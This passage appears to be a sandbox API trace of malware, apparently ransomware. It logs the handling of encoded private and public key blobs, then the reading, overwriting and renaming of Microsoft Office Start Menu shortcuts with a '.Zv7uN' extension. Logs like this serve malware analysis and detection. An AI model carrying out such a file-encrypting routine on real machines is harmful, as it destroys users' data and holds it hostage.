FXkTCvlHDnnrCkmLDh8OGw5TCnsKdw7fCiDg8bsKwwoLDqcOrwrzDksKTQsKwAcOAUMKwSGHCm8KNw6/Ct0PCtHnDgcKIEMOdwr/CmhxsZmonw67ChMKIesOBw40Ow4lraTzCpcKowqjCtn7Di8OBw4HDt8OuZjAVw55Yw4PCuwYRwoTDv0bDvMKXw7fDsmzCkcKmA8KmccKdMz3Ct0PDjsOkwqHCmMKow4vDnMK2PS1xeTTCgCDDkHDCgsKdw6NEwrlQw73CqsOmw5JDw496eCYcw6Qaw7wCwrHCuMOKwqYDwpfCo0fDgsK5w6rDqcK3dsKmwpvCqcKTw6fDqCnDvwQGIsKWw5HDnsOgw4nDpRZWa8OuesK7w48Uw6LDp8KeNFARw43Ds8KLw65YWMOyWcK3LXDDl8Okwp1/d8KREcKhwoVCemQvwq7Cm8KKwobCucOxIxZiwobDvSsCDsKpwp0aQMOzUEM3DsOZZkBjI0TDi8OJHcK7w4HDmVXCgUoVOHHCjWhFPcKAwp5GHkUGHcOkdcKkwoDCmxPCnsOeUTN5bMKFw6ZLNsKTw4HCpsOEYsOeEMO9woPDscO3P8KSeS9xf8Otw43CucK8M8KkS23CoUBASh7DtcOLJMK3w7zCnUM1wrHCkcKEwoTCjMOzenEydnHCjMOobcOww6vDjTZ5w548NsKwPcOoRcKTwoprw6TDpmzDi8KbKWbCpsOPw4fCgsO5MsKbw6vDksKiXsKmOMOmw4PDsD3Cr8KbBE7CsMKCOMOxw6PDjcKGwqvCoXrDjUvDsw4JIMKUFkrCvMKKw5XCu1vCtcOmeFvCiTbCpjdpw7w2wroYeil+OVDDt8Kpw7PClDwcw50UIsOew51RHBU3wozCjjMiwpPCosOBw6TCmsK/wr1cwol5w4MSwqgCwoUtwpnCrCLCosOFHnFMFClRNUJGZsOfUTrCh8OGOSDCl8K6wpTCt8OJSH/DnsKewrfDp1AQwqrChcK1OQPDogzDmcK2DnPCnjQkwow2awEzw5LCqU7CmMOSwrfCqmc5w7/CtUV/w6DChsOjRBLDswcwCcKfw50CwpzDlMKmBmHDgkDCv8KXacKFw7xyw4fDmiJxw53CpBbCt08DFDMDw4gXwoIFLMOPOcKRw77DpMK5w7Alw7/DgcO8BsOZRFI0w4bDmxLDpRXChcKUw5wyw4vCgnXCv8Odw6ZDwr8qS8ODw6bDksK8wqsFwpHDnUADw6YtBMKlXMK9SMKxMxDCujzCjCNXUMOwMxYcwoUVBcKBcsKXBzN+FUXDpMKiQMOjw6YeworCqMOJOsKiwpfDmD7CtcOIQMOPcSzDscOdwpPDpMO8w5XDsFl3w6DDpMK4A8OLwqDDrR02w7jCo8OKwqxhw7fDpmsvwr7DgcK8XsORM2XClMOKwqjDgU9vXW7CkiTDsWPCq8OUw6fDvgbDvEVhIcOyw51Wwp1ewow8LA9mw7DCtcKAdirCrMKABcOfw6t3wpnDq0XDpE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.828] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f1cc2c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0133.829] GetCurrentThreadId () returned 0xa30 [0133.829] GetCurrentThreadId () returned 0xa30 [0133.829] GetCurrentThreadId () returned 0xa30 [0133.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0133.830] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f2dc8c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0133.830] GetCurrentThreadId () returned 0xa30 [0133.830] GetCurrentThreadId () returned 0xa30 [0133.830] GetCurrentThreadId () returned 0xa30 [0133.830] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.830] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c8*=0) returned 0x0 [0133.831] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.831] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0xb79 [0133.831] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f3c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f3c0*=0) returned 0x0 [0133.831] ReadFile (in: hFile=0x1e8, lpBuffer=0x1f35a90, nNumberOfBytesToRead=0xb79, lpNumberOfBytesRead=0x18f3d4, lpOverlapped=0x0 | out: lpBuffer=0x1f35a90*, lpNumberOfBytesRead=0x18f3d4*=0xb79, lpOverlapped=0x0) returned 1 [0133.835] CloseHandle (hObject=0x1e8) returned 1 [0133.835] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0133.838] WriteFile (in: hFile=0x1e8, lpBuffer=0x1f37ac0*, nNumberOfBytesToWrite=0xb79, lpNumberOfBytesWritten=0x18f3e0, lpOverlapped=0x0 | out: lpBuffer=0x1f37ac0*, lpNumberOfBytesWritten=0x18f3e0*=0xb79, lpOverlapped=0x0) returned 1 [0133.840] CloseHandle (hObject=0x1e8) returned 1 [0133.840] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk"), lpNewFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft PowerPoint 2010.lnk.Zv7uN" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft powerpoint 2010.lnk.zv7un")) returned 1 [0133.841] GetCurrentThreadId () returned 0xa30 [0133.841] GetCurrentThreadId () returned 0xa30 [0133.842] GetCurrentThreadId () returned 0xa30 [0133.842] GetCurrentThreadId () returned 0xa30 [0133.842] GetCurrentThreadId () returned 0xa30 [0133.842] GetCurrentThreadId () returned 0xa30 [0133.842] FindNextFileW (in: hFindFile=0x6aa080, lpFindFileData=0x18f50c | out: lpFindFileData=0x18f50c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="Microsoft Project 2010.lnk", cAlternateFileName="MI6860~1.LNK")) returned 1 [0133.842] FileTimeToLocalFileTime (in: lpFileTime=0x18f520, lpLocalFileTime=0x18f480 | out: lpLocalFileTime=0x18f480) returned 1 [0133.842] FileTimeToDosDateTime (in: lpFileTime=0x18f480, lpFatDate=0x18f4ee, lpFatTime=0x18f4ec | out: lpFatDate=0x18f4ee, lpFatTime=0x18f4ec) returned 1 [0133.842] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f414 | out: lpFileInformation=0x18f414*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc11c60a0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xc11c60a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc11c60a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0xb77)) returned 1 [0133.843] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\microsoft office\\microsoft project 2010.lnk")) returned 0x20 [0133.843] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Microsoft Office\\Microsoft Project 2010.lnk", dwFileAttributes=0x80) returned 1 [0133.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0133.845] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCoxTCsXVXwqTCvsOuFMKHPzNpw4TDq01Pwq4OQ8OHHMOgTMKIwp7CrhhxwpzDsMOeBhXCnMKPWHjDiDTDg0XDmWfCpnrCmMK6w7UiNMORXM